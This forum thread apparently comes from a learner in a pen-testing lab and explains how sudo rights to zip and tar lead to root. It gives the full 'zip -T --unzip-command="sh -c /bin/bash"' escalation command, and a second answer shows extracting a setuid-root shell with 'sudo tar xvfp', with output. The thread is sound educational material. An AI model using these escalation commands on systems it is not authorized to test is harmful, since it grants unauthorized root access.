1

I'm doing some hands on pen testing and following some guides to get an understanding of the tools of the trade. I'm following along with the guide here and I understand everything except for the last page.

I need assistance understanding sudo -l below. I know that it details what the current user can do. However, what does the output below mean?

enter image description here

And how about the command below (excluding touch)? It kind of confuses me because after running that command (exploit?), I was able to get root.

enter image description here

From my understanding, the line is saying to run the command as root or elevate to root, zip the file called exploit, and place it in tmp/exploit. I believe I'm wrong but that's where my understanding of that line stops.

I'm confused as to how I got root with that command and what that line is doing.

  • 2
    Please do not post pictures of text; just paste the relevant text. – DopeGhoti Nov 8 '18 at 21:50
  • 2
    It is somewhat remiss of the sysadmins to offer tar + zip via sudo. So many attack vectors become possible here, such as using tar to write a new /etc/passwd / /etc/shadow file, for starters. – steve Nov 8 '18 at 21:57
6

For your first question, the indicated lines of output are telling you that you are permitted to run /bin/tar and /usr/bin/zip via sudo as the root user without even needing to provide zico's password.

For your second question, we get the answer from zip's manual page:

   --unzip-command cmd
          Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.

So, since you're privileged to run zip as the root user through sudo, the exploit is simply telling zip "hey, when you're testing this archive, use the command sh -c /bin/bash to test it, would you?" and it's helpfully doing so, giving you a root shell.

The exploit file is just there to provide zip something to compress, so that there would be something to "test". It's never being run or anything and indeed in your demonstration is simply an empty file.

$ sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

is instructing sudo to, as the root user, run this command:

$ zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

This command will take the file /tmp/exploit and put it into a new archive, /tmp/exploit.zip. The -T switch tells zip to then Test the integrity of the archive, and the --unzip-command switch is telling zip how to test the archive. This last thing is the actual exploit: because zip is being run as root, running sh -c /bin/bash gives you a shell as the root user.

  • It took me several times to read your answer to get a grasp of this. I appreciate you breaking this down. Last question, --unzip-command="sh -c /bin/bash" is basically saying "I want to test this archive by unzipping the file and then open a shell."? – Aspire27 Nov 8 '18 at 22:21
  • 2
    No, it's saying "I want you to 'test' this archive by just giving me a shell". That's the exploit at play here. – DopeGhoti Nov 8 '18 at 22:22
1

Even without zip, the tar command can be used to break things. All you need is a tar file with setuid root program inside and then tar xfp it.

For example if I can create a tarball with ksh93 with setuid root then I can get root privs

$ tar tvf ../foo.tar
-rwsr-xr-x root/root   1519024 2018-11-08 21:32 ksh93
$ sudo tar xvfp ../foo.tar 
ksh93
$ ./ksh93 -c id
uid=500(sweh) gid=500(sweh) euid=0(root) groups=500(sweh),10(wheel),13(news)
$ 

Spot the euid.. I have effective root.

  • Hi Steven. I see. I'm still in the process of learning. I would have to say I need more experience/practice to create a setuid root program:( However, I do understand your answer and thanks for that other way of going around to get root. – Aspire27 Nov 9 '18 at 19:22

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.